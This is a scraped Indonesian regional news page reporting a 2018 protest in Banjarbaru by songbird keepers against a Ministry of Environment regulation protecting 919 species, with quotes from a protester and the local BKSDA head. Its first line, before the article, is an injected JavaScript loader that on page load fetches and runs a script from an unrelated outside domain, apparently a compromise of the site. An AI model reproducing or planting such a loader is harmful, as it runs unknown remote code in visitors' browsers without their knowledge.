(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tolak Permen LHK, Kicau Mania Demo ke BKSDA Kalsel


BANJARBARU, Kicau Mania atau pencinta burung melakukan aksi damai di kantor BKSDA Kalsel, Selasa (14/8). Hal ini berkaitan dengan penolakan Peraturan Menteri (Permen) LHK tentang perlindungan 919 jenis tumbuhan dan satwa. Dari jumlah tersebut 562 atau hampir 61 persen merupakan jenis burung.

Sekitar 250 orang perwakilan Kicau Mania dari Banjarmasin, Banjarbaru, Martapura, Tanah laut dan Binuang tergabung dalam Forum Komunikasi Kicau Mania Kalsel melakukan aksi damai penolakan aturan baru tersebut. Dikawal dengan puluhan personil Kepolisian Polres Banjarbaru dan Jajaran, aksi demo kali ini berlangsung kondusif.

Sembari membentang spanduk penolakan, para perwakilan Kicau Mania menyatakan aspirasi melalui orasi.

Jarot Santoso salah satu perwakilan massa mengungkapkan atas aturan baru tersebut dapat menghambat pihaknya yang menggantungkan hidup lewat kicau mania dan dikhawatirkan kepemilikan burung yang dilindungi itu akan dianggap melanggar hukum.

“Salah satunya kepemilikan burung yang menjadi idola kami, contohnya yang di Kalimantan yaitu Murai Hijau dan Cucak Hijau yang menurut aturan Permen itu sudah punah dan harus dilindungi. Dikhwatirkan karena kami memiliki tersebut kami akan terkena pidana” ungkapnya.

Selain itu menurut Jarot, dengan adanya peraturan baru tersebut, dampak lain akan terasa. Seperti penangkar burung yang dipersulit karena harus melakukan izin setiap kali burung yang bertelur, menetas maupun kawin yang mana hal itu membutuhkan proses dan tenaga yang cukup lama. Selain itu peternak makanan, peternak jangkrik, dan produsen sangkar akan dirugikan bilamana burung-burung yang selama ini di perlihara sudah dilarang kepemilikannya.

Terkait aksi tersebut, BKSDA Kalsel melakukan diskusi secara tertutup dengan beberapa perwakilan. Berlangsung secara alot, diskusi tersebut membuahkan dukungan dari massa pendemo.

Jarot mengungkapkan kepada awak media dari hasil pembicaraan terhadap pihak BKSDA, sebenarnya Permen LHK Nomor P 20/2018 itu masih belaku surut yang mana kepemilikan yang lama burung tidak akan diambil dan hanya akan di data.

Menanggapi hal itu pihaknya siap membantu BKSDA membantu melengkapi data yang dibutuhkan namun tetap menolak aturan baru yang berlaku tersebut. “Artinya kami pemilik burung yang sudah lama cukup mendata saja. Karena BKSDA sendiri masih harus melengkapi berapa sih burung yang dari alam yang dipelihara oleh masyarakat dan berapa sih burung hasil penangkaran yang dipelihara masyarakat. Data itu yang dibutuhkan dan kami menyatakan siap membantu,” katanya.

Disisi lain Kepala BKSDA Kalsel Mahrus Aryadi mengungkapkan pihaknya menyambut baik dan melanjutkan aspirasi dari masyarakat tersebut. Menurutnya pertemuan kali ini lebih kepada pembinaan terhadap masyarakat tentang aturan baru ini.

“Sebenarnya inti dari Permen ini kepada melindungi burung-burung tersebut dari penangkapan liar atau ilegal dan mendorong untuk dilakukannya penangkaran-penangkaran,” ungkapnya

Pendataan yang dimaksud, nantinya akan dikeluarkan surat keterangan atau sertifikat kepemilikan burung tersebut. Pendataan tersebut akan berlangsung hingga keluarnya Perdirjen.  “Peraturan ini dibuat dengan tujuan baik, dengan didata itu pemilik burung akan lebih legal dan bukan untuk ditangkap,” tambah Mahrus Aryadi. (Rico/Rendy)

Reporter:Rico/Rendy
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

5 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

7 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

20 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

20 jam ago

This website uses cookies.